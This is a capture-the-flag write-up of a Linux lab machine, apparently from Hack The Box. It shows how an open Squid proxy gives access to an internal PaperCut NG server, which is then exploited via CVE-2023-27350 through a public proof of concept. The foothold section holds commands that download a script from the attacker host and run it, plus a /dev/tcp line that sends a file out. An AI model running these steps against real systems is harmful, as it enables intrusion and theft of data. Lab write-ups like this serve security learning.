Bamboo
Bamboo is a medium Linux box that opens with an unauthenticated Squid proxy. Scanning through it exposes an internal PaperCut NG 22.0.6 server, vulnerable to CVE-2023-27350 — an authentication bypass chained with print scripting for remote code execution as the papercut user. This post covers recon through the user flag.
Overview
Bamboo is a Medium-difficulty Linux machine. Externally it only exposes SSH and a Squid proxy; the proxy is misconfigured enough to reach the box’s own localhost services, where an internal PaperCut NG print server lives. PaperCut 22.0.6 is vulnerable to CVE-2023-27350, an auth-bypass-to-RCE that lands a shell as the papercut user. This post stops at the user flag.
Recon
| Port | Service | Notes |
|---|---|---|
| 22 | OpenSSH 8.9p1 | host login |
| 3128 | Squid http proxy 5.9 | open proxy → pivot |
1
2
nmap -p- --min-rate=1000 -T4 10.129.238.16
nmap -p22,3128 -sC -sV 10.129.238.16
Only SSH and a Squid proxy are reachable. An open Squid proxy is a pivot: it will forward requests, including to its own 127.0.0.1, exposing services bound only to localhost.
Enumeration
Squid happily proxies to localhost, so we can scan/enumerate internal ports through it. Port 9191 answers as PaperCut:
1
2
3
# squid reaches its own localhost (use 127.0.0.1, not the external IP)
curl -s -x http://10.129.238.16:3128 http://127.0.0.1:9191/user | grep -i papercut
# -> PaperCut Login ... version 22.0.6
Internal scanning through the proxy also reveals the PaperCut print-deploy ports (9173/9174/9192/9195). PaperCut NG 22.0.6 is squarely in the CVE-2023-27350 vulnerable range.
Foothold
CVE-2023-27350 bypasses authentication via the SetupCompleted page and then abuses the print-scripting feature to run code. Drive the public POC through the Squid proxy with proxychains (HTTP CONNECT) — the HTTP_PROXY env/absolute-URI mode breaks PaperCut’s session handling:
1
2
printf 'strict_chain\nquiet_mode\n[ProxyList]\nhttp 10.129.238.16 3128\n' > pc.conf
git clone https://github.com/horizon3ai/CVE-2023-27350
PaperCut’s print script runs Runtime.exec as a single string (split on whitespace, no shell), so to use shell features we download a script and run it:
1
2
proxychains4 -f pc.conf python3 CVE-2023-27350.py --url http://127.0.0.1:9191 --command 'curl http://<lhost>:9000/r.sh -o /tmp/r.sh'
proxychains4 -f pc.conf python3 CVE-2023-27350.py --url http://127.0.0.1:9191 --command 'bash /tmp/r.sh'
r.sh runs as the papercut service user and exfiltrates the flag (e.g. cat /home/papercut/user.txt > /dev/tcp/<lhost>/9001).
User flag
1
cat /home/papercut/user.txt # HTB{...}
Code execution as papercut achieved — user.txt captured (value redacted).
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.